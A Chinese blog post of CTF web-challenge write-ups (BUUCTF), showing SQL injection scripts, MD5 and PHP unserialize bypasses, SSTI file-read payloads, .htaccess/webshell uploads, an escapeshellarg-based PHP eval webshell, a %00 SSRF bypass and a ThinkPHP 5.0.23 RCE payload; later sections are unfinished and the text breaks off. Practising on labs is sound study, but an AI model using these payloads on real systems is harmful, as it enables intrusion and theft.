https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210201113825.png

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210201113839.png

所以真正的解法是只要sql语句的格式为password=‘xxxxxxxx’ or ‘1xxxx’,即hex包含字符串"276f722731"(‘or'1),其实or后面开头只要是数字即可,1-9的hex范围为31-39。

下面这个程序是这道题开头参考列表中的第三个链接。

1
2
3
4
5
6
7
8
<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

这个程序遍历数字进行md5加密,使用stripos匹配是否有'or',这个函数有一个弊病就是如果是以'or'开头的不会匹配到,并且我们需要的是or后面以数字开头都可以,所以需要稍微做一些修改,使用正则表达式由\'or\'改为'or'([1-9]+|0+[1-9]) 不过我的方法自己还没跑出来🤣,回头加个多线程试一试

(更新)

自己写了一个python程序,放在学生服务器上跑了一个下午加一个晚上,出了两个答案,好家伙从1跑到52亿:

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210203094304.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 找到了md5(2413633098): 
 找到了md5(5207660362): 
 找到了md5(8351555222): 
 找到了md5(13095770027): 
 找到了md5(14860117901): 
 找到了md5(15724086109): 
 找到了md5(16529176061): 
 找到了md5(17428338265): 
 找到了md5(18717303578):
 找到了md5(19342380396): 
 找到了md5(23960028257): 
 找到了md5(32561902614): 
 找到了md5(38983153698): 
 找到了md5(39742292223): 
 找到了md5(44120894060): 
 找到了md5(44820604888): 
 找到了md5(45570673322): 
 找到了md5(45855250502): 
 找到了md5(53660569009): 
 找到了md5(55098175010): 
 找到了md5(59763304323): 
 找到了md5(60185044906): 
 找到了md5(68625783421): 
 找到了md5(70949326264): 
 (md5值删了,因为乱码会影响博客的搜索功能)

程序源码如下(自己写着玩,轻喷):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# codeing = utf-8

import threading
import hashlib
import re
import itertools
import time
# r'\'or\'([1-9]+|0+[1-9])'
# r'\'or\''
pattern=re.compile(r'\'or\'([1-9]+|0+[1-9])',re.I)
item = itertools.count(1)

def thrfunc():
    while 1:
        s2 = ''
        temp = str(next(item))
        s1 = hashlib.md5(temp.encode(encoding='UTF-8')).hexdigest()
        for i in range(0, len(s1), 2):
            s2 = s2 + chr(int(s1[i:i + 2], 16))
        if re.search(pattern, s2):
            print("找到了md5(" + temp + "): " + s2)


threads=[]
for i in range(10):
    t = threading.Thread(target=thrfunc)
    threads.append(t)
    t.start()

虽然不知道多整几个能用的值可以干什么,但是觉得自己写的程序跑出来答案就很爽🤣。

还有一个能用的md5值:

1
2
3
4
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

以上是第一层。其实看了源码里只验证了字符串是否等于ffifdyop我写的脚本里的值肯定通过不了

第二层可以直接在源码中看到注释。

1
2
3
4
5
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

简单的md5以0E开头

1
a=QNKCDZO&b=240610708

第三层

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

这一有一些不同的是md5比较使用了===不仅比较类型还比较值。但是md5有一个:

1
md5([1,2,3]) == md5([4,5,6]) == NULL

所以传入两个数组,又能保证两个变量不相等,md5加密有都是NULL且类型是数组类型,注意数组里的值还是不可以一样的。

1
param1[]=1&param2[]=2

[ZJCTF 2019]NiZhuanSiWei

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

先来一段PHP伪协议总结,这题的第一步是判断传入text参数并读取内容,判断内容为welcome to the zjctf,使用data://伪协议。

1
?text=data://text/plain,welcome to the zjctf

接下来是文件包含,有了提示useless.php肯定要读一读看看,使用php://filter伪协议。

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

得到的内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

并且文件包含下面有一个反序列化,又看到了__tostring函数,当一个对象被当作字符串对待的时候,会触发这个魔术方法。我构造的对象

1
2
3
4
5
6
7
8
9
<?php 
class Flag{  
    public $file="flag.php";  
}

$f = new Flag();
echo serialize($f);

//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在传入对象之前当然要把读取文件流改为正常包含文件了。最终payload

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[CISCN2019 华北赛区 Day2 Web1]Hack World

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210307171921.png

很明显的sql注入,随便尝试一些语句有

1 » Hello, glzjin wants a girlfriend.

2 » Do you want to be my girlfriend?

3之后都是 » Error Occured When Fetch Result.

输入一个单引号1'出现了bool(false),是一个布尔类型返回,就很有可能是盲注之类的。测试的时候还发现空格被过滤了,空格被过滤可以尝试使用TAB制表符代替。

题目中也有提示

说明flag在flag表的flag字段中。以下是一个布尔盲注的脚本,思路就是查询flag的值使用substr函数每次截取一个字符,获得其ascii值再使用二分法确定具体的值,最后拼接输出。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = 'http://26670c55-697e-4520-ae0a-bd23a786cd72.node3.buuoj.cn/'
result = ''

for x in range(1, 50):
	high = 127
	low = 32
	mid = (low + high) // 2
	while high>low:
		payload = "if(ascii(substr((select	flag	from	flag),%d,1))>%d,1,2)" % (x, mid)
		data = {
			"id":payload
		}
		time.sleep(0.3)
		response = requests.post(url, data = data)
		if 'Hello' in response.text:
			low=mid+1
		else:
			high = mid
		mid = (low+high)/2

	result += chr(int(mid))
	print(result)
	
#flag{929c8993-2d85-4fbf-8e48-7c457551105e}

[极客大挑战 2019]HardSQL

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210307173126.png

还是sql注入题。尝试在输入框里输入#--+时被拦下了,但是在url中使用%23通过了。尝试了union但是被过滤了,使用双写也不通过,和这道题同类型的题前面有Baby SQL、Easy SQL,考点还剩下的有盲注、报错注入、堆叠注入。尝试报错注入可以使用,我参考的十种MySQL报错注入。还需要注意空格是会被拦下的,url编码也不能通过,所以在语句中的表名需要使用()隔开,具体payload如下:

  1. 爆表
1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23&password=1

当前表名是:H4rDsq1

  1. 爆字段
1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23&password=1

当前表的字段有:id,username,password

  1. 出数据

如果使用正常的查询语句会因为flag的长度太长,页面中的回显长度不能显示全,但是可以使用leftright函数:

语法:LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)

这两个函数会用到选取的长度,如果想要拼成一个完整的flag,可以先用length查看总长度,计算以后拼一下

1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(left(password,35))from(H4rDsq1)),0x7e)))%23&password=1

flag{112bb5db-17a4-47e2-97b4-19

1
?username=admin%27or(extractvalue(1,concat(0x7e,(select(right(password,11))from(H4rDsq1)),0x7e)))%23&password=1

dc295a017f}


[网鼎杯 2018]Fakebook

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210307174819.png

是一个展示自己博客网址的列表,先随便注册一个

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210307175313.png

我填的是baidu的网址23333。这时的url是:

1
http://2cefe2a5-4e68-44ce-870c-3628c2500cd3.node3.buuoj.cn/view.php?no=1

看到了no=1,应该想到了sql注入,我没有试出什么名堂,但是在网上找到了一个这道题的非预期解:[网鼎杯2018]fakebook题解,使用了load_file函数直接读取了flag文件。同样是空格被过滤,但是可以使用/**/绕过。

1
?no=-1 union/**/select 1,2,3,4

先使用上面的语句查看回显点。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210307180356.png

找的了位置2的回显点,可以把函数替换在2的位置上。

1
?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

参考师傅的博客中是使用了盲注获得flag的,其实执行以后使用页面的选取工具选取回显的标签块,可以在注释里找的到🤣

正常的sql注入一套查询,同样是使用/**/绕过空格过滤。

爆表

1
?no=-1%20union/***/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%23

爆字段

1
?no=-1 union/***/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' %23

出数据

1
?no=-1 union/***/select 1,group_concat(no,username,passwd,data),3,4 from users

查询的结果是一大串字符串,但是在结尾一个PHP的序列化对象:

1
O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:20:"http://www.baidu.com";}

说明网站是使用反序列化获取对应栏的数据,下面有一个iframe的标签,根据提示the contents of his/her blog,得知我们提供的网址会在这里显示,正好有一个php伪协议file://可以读取本地文件,思路就是:使用伪协议读取flag作为blog网站回显在iframe的标签中,所以构造一个序列化对象。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php

class UserInfo
{
    public $name = "guobang";
    public $age = 18;
    public $blog = "file:///var/www/html/flag.php";
}

$s = new UserInfo();
echo serialize($s);

//O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

最终payload

1
?no=-1%20union/***/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"guobang";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from%20users

在iframe里面找,是一个data:text/html的数据格式,base64加密的噢。


[网鼎杯 2020 青龙组]AreUSerialz

部分图

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308102316.png

最下面有对于payload的限制:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

需要payload中的字符ascii码值大于32小于125。注意到最后有一个unserialize函数,判断这道题考点是反序列化。接下来分析源码:

  • process()函数判断op的值,如果是1就写入文件,如果是2就读取文件。代码开头包含了flag.php文件,所以推测需要使用2操作数读取flag.php文件。
  • write()把对象中的$content属性值写入到$filename文件中,如果长度大于100会被拦下。
  • read()使用**file_get_contents()**函数读取文件。正是我们想要的
  • output()输出内容。
  • __destruct()对象销毁时会执行的函数,需要注意的是if判断里的$this->op === "2"是强比较,并且会修改op的值为1(写文件),因为**“2”是一个字符串类型的如果传入整型的2**即可绕过。

所以我们构造一个对象op为2,filename为flag.php即可,读文件的时候肯定不是

接下来是反序列化时会遇到的问题,因为对象中属性的修饰是protected,序列化时需要保证一致的。

先给出自己创建的对象源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class FileHandler {

    protected  $op=2;
    protected  $filename="/var/www/html/flag.php";
    protected  $content;
}

$c = new FileHandler();
echo serialize($c);
  1. PHP7.1以上版本对属性类型不敏感、用public绕过:
1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";N;}

运行以后可以在网页注释中找到文件。绝对路径读取也可以,我第一次使用php://filter读再去解码也成功了。

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
  1. 序列化字符串中s替换为S,支持字符串用16进制,
1
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:22:"/var/www/html/flag.php";S:10:"\00*\00content";N;}

思路:https://blog.csdn.net/Oavinci/article/details/106998738


[MRCTF2020]你传你🐎呢

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308104930.png

测试后缀,php、phtml都被过滤了,htaccess可以,先传上特供的.htaccess

1
SetHandler application/x-httpd-php

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308105247.png

传图片马,我一直用的是GIF马,几次尝试都没通过,后来修改了Content-Type: image/jpeg可以了,说明Content-Type是GIF还不行,接下来直接传图片码

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308105652.png

根据地址访问图片马的地址,使用system读文件还没成,用蚁剑连了执行执行ret=127,disable_function了

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308110126.png

不过根目录下的flag文件还是可以正常读取,至于disable_function可以参考【极客大挑战 2019】RCE ME


[BJDCTF 2nd]fake google

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308110510.png

就一个输入框,随便输入一个去看看,跳转以后

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308110545.png

注释里有提示ssti,应该是模板注入,就在网上搜一个ssti的payload试试SSTI (服务器模板注入)

找到了一个直接读文件的payload

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308110717.png


[GYCTF2020]Blacklist

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308110821.png

sql注入,先试一试堆叠注入,可以执行,尝试select的时候返回了过滤内容

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

前面还有一个堆叠注入的是新姿势**[强网杯 2019]随便注**,一种是使用prepare预处理语句,另一种是修改表名,根据上面的过滤内容,两种方法都被过滤了。先试试查看表:

1
2
3
4
-1';show tables;

FlagHere
words

查看表结构:

1
-1';desc `FlagHere`;

接下来是看的wp,学到了个新姿势:使用HANDLER ... OPEN语句,贴一个官方文档

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

1
-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308111414.png


[强网杯 2019]高明的黑客

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210308112326.png

下载源码以后一堆不可读的源码,但是里面有很多shell,看不懂所以找了wp,思路就是用脚本匹配文件中的shell,然后传参试一试每一个shell是否能用,抄脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# codeing = utf-8

import  requests
import os
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES = 8
session = requests.session()
session.keep_alive = False

sem=threading.Semaphore(30)

url="http://84fa677d-e4dd-47a1-9124-1823cc996d12.node3.buuoj.cn/"

path = "D:\DROPS\phpstudy_pro\WWW\ctf\src\\"
fileNames = os.listdir(path)

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]")
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]")

local_file = open("flag.txt","w",encoding="utf-8")

def run(fileName):
    with sem:
        file = open(path+fileName,'r',encoding='utf-8')
        content = file.read()
        print("[+]checking: %s"%fileName)

        #GET
        for i in rrGET.findall(content):
            r = session.get(url+"%s?%s=%s"%(fileName,i,"echo ~guobanghhh~"))
            if "~guobanghhh~" in r.text:
                flag = fileName + "中的" + i + "可以用!!!"
                print(flag)
                local_file.write(flag)

        #POST
        # for i in rrPOST.findall(content):
        #     r = session.post(url+fileName,data={i:"echo ~guobanghhh~"})
        #     if "~guobanghhh~" in r.text:
        #         flag = fileName + "中的" + i + "可以用!!!"
        #         print(flag)
        #         local_file.write(flag)

if __name__ == '__main__':
    run("xk0SzyKwfzw.php")
    start_time = time.time()  # 开始时间
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread(target=run,args=(fileName,))
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

结果就是访问

1
http://dd1c66d5-66b2-4b82-a2a8-bf7bfbecdd97.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

获得flag


[MRCTF2020]Ez_bypass

不截图了,主页没有代码格式,贴一个源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

分析一波:

  • 第7行是第一层需要md5的值相同但是两个变量不同,需要注意是强比较===噢。
  • 第11、17行判断passwd是非数字并且若比较==等于1234567

第一个利用数组即可绕过

1
md5([1,2,3]) == md5([4,5,6]) == NULL

第二个利用比较时会进行类型转换,字符串1234567a会被强制转换类型为整型的1234567

payload

1
2
3
4
?id[]=1&gg[]=2

POST
passwd=1234567a

[BUUCTF 2018]Online Tool

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

最后有一个system函数,但是使用的nmap的指令,经过一番搜索得知了nmap可以把结果存储在文件里,所以这道题也是道RCE。还有两个没见过的函数escapeshellargescapeshellcmd

这道题利用了两个点

  1. nmap可以将扫描的结果存储在文件里。使用方法:Nmap扫描结果的保存和输出

  2. escapeshellarg+escapeshellcmd同时使用有一些漏洞

    谈谈escapeshellarg参数绕过和注入的问题

    PHP escapeshellarg()+escapeshellcmd() 之殇

参考博客整理一下这两个处理命令的函数同时使用时的问题:

  1. 假如传入的参数为172.17.0.2' -v -d a=1
  2. 首先经过escapeshellarg函数,这个函数会把单独的单引号'加上转义符\并使用单引号'括起来,再使用单引号'把整个参数括起来。这时候的参数是'172.17.0.2'\'' -v -d a=1'
  3. 再进入escapeshellcmd函数,这个函数(从左至右会把落单的符号直接加转义符,其他什么都不做)遇到成对匹配的单引号'不过处理,转义符\再使用转义符转义,再略过一个成对的单引号'',最后一个单引号'再使用转义符转义。这时候的参数就成了'172.17.0.2'\\'' -v -d a=1\'
  4. 最后执行的参数是'172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白符。所以可以简化为 172.17.0.2\ -v -d a=1'

所以构造payload:

1
'<?php eval($_POST[_]) ?> -oG 1.php '

经过escapeshellarg函数会被解析成为:''\''<?php eval($_POST[_]) ?> -oG 1.php '\'''

再经过escapeshellcmd函数会被解析为:''\\''<?php eval($_POST[_]) ?> -oG 1.php '\\'''

注意最后单引号前面的那个空格很重要,如果是紧挨着的话文件名称就成了1.php\不在是php文件了。所以我们的payload最终在服务器端是:\<?php eval($_POST[_]) ?> -oG 1.php \

加空格目的是为了防止文件名后缀中出现符号,加上空格就会舍去。

1
2
3
4
5
6
7
<?php
$host = "'<?php eval($_POST[_]) ?> -oG 1.php '";
echo $host."\n";
$host = escapeshellarg($host);
echo $host."\n";
$host = escapeshellcmd($host);
echo $host."\n";

结果:

1
2
3
'<?php eval() ?> -oG 1.php '
''\''<?php eval() ?> -oG 1.php '\'''
''\\''\<\?php eval\(\) \?\> -oG 1.php '\\'''

最终请求payload

1
/?host='<?php eval($_POST[_]) ?> -oG 1.php '

执行指令时会创建一个sandbox文件夹,访问$sandbox$/1.php,POST传参

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310110615.png

1
_=system('cat /flag');

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310110726.png


[RoarCTF 2019]Easy Java

是java写的web程序

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310110821.png

考点是WEB-INF/web.xml泄露

WEB-INF主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。

/WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

重点不在登陆界面,而是那个Help按钮,可以下载文件。

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310110934.png

首先尝试去读web.xml文档,添加POST请求

1
filename=WEB-INF/web.xml

可以读取web.xml文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

注意到了一个FlagController的控制器,它所在的类为com.wm.ctf.FlagController,前面也提到了编译文件所在的文件夹/WEB-INF/classes/,去这个文件夹下载FlagController相关的文件,还需要知道的是:Javaweb程序编译文件的目录结构是根据类名创建的,类名我们也知道了,所以下载:

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

class文件源码好多不可见字符

https://cdn.jsdelivr.net/gh/penginman/PicBed@master/artical/20210310112205.png

我选中的那段就是flag在的地方,看到了==就应该意识到是base64编码,但是base64编码里没有<这个字符,所以flag的密文就是

1
ZmxhZ3s0NmNhMTExMS01ZjI5LTQwYjMtYjUwMC1lYWMzZjkyMjU4ODF9Cg==

———————–以下部分施工中👷‍♂️————————

下面的都是没有整理,先把重要思路写下来了,然后有时间再配图


[GKCTF2020]cve版签到

CVE-2020-7066

只有一个按钮,点击以后查看网页的Network请求中有一个

Hint: Flag in localhost

且utl地址中有可控的参数,所以应该是使用ssrf。这里还有一个提示是在主页面那里

You just view *.ctfhub.com

只可以访问以ctfhub.com结尾的网站,再根据cve使用%00截断访问:

1
?url=http://127.0.0.1%00.ctfhub.com

第二个提示:

Host must be end with ‘123’

必须以123结尾,所以最终payload

1
?url=http://127.0.0.123%00.ctfhub.com

[GXYCTF2019]禁止套娃

git泄露。我使用的https://github.com/gakki429/Git_Extract

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

正则表达式匹配的只有函数的形式如var_dump();是一道无参数RCE,看的题解自己整理的payload:

1
?exp=var_dump(readfile(array_rand(array_flip(scandir(current(localeconv()))))));

一层一层解释:

localeconv() 函数返回一包含本地数字及货币格式信息的数组

图片展示

current() 返回数组中的当前单元, 默认取第一个值。别名pos()

到这里获得的是一个点

scandir() 遍历目录,是.的话就是列出当前目录。

此时输出:

1
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

这时的输出还是键值对的形式,我们需要使用array_flip()函数交换键值对,然后使用随机函数array_rand()从数组中随机取出一个或多个单元。因为正则的原因无法使用file_get_contents(),但是还有其他读取文件的函数:readfile()、highlight_file()和它的别名函数show_source()。


[GXYCTF2019]BabyUpload

ph过滤,image/gif不能通过。image/jpe可以

上传.htaccess

1
SetHandler application/x-httpd-php

上传码,但是不能是php代码,使用js

1
<script language="php">eval($_REQUEST[shell])</script>

完工


[BJDCTF 2nd]old-hack

ThinkPHP的漏洞

ThinkPHP5 5.0.23

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[安洵杯 2019]easy_web

看url一个img和cmd,页面中有一个图片的标签,和一个md5 is funny ~。把url中img的值进行解码发现图片名为555.png,尝试用同样的编码方式读取index.php,加密的编码依次为:hex–>base64–>base64。

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

我不知道为什么,我的bp一定要在&前加一个空格才可以通过。

1
2
3
4
5
?cmd=uniq%20/flag

POST
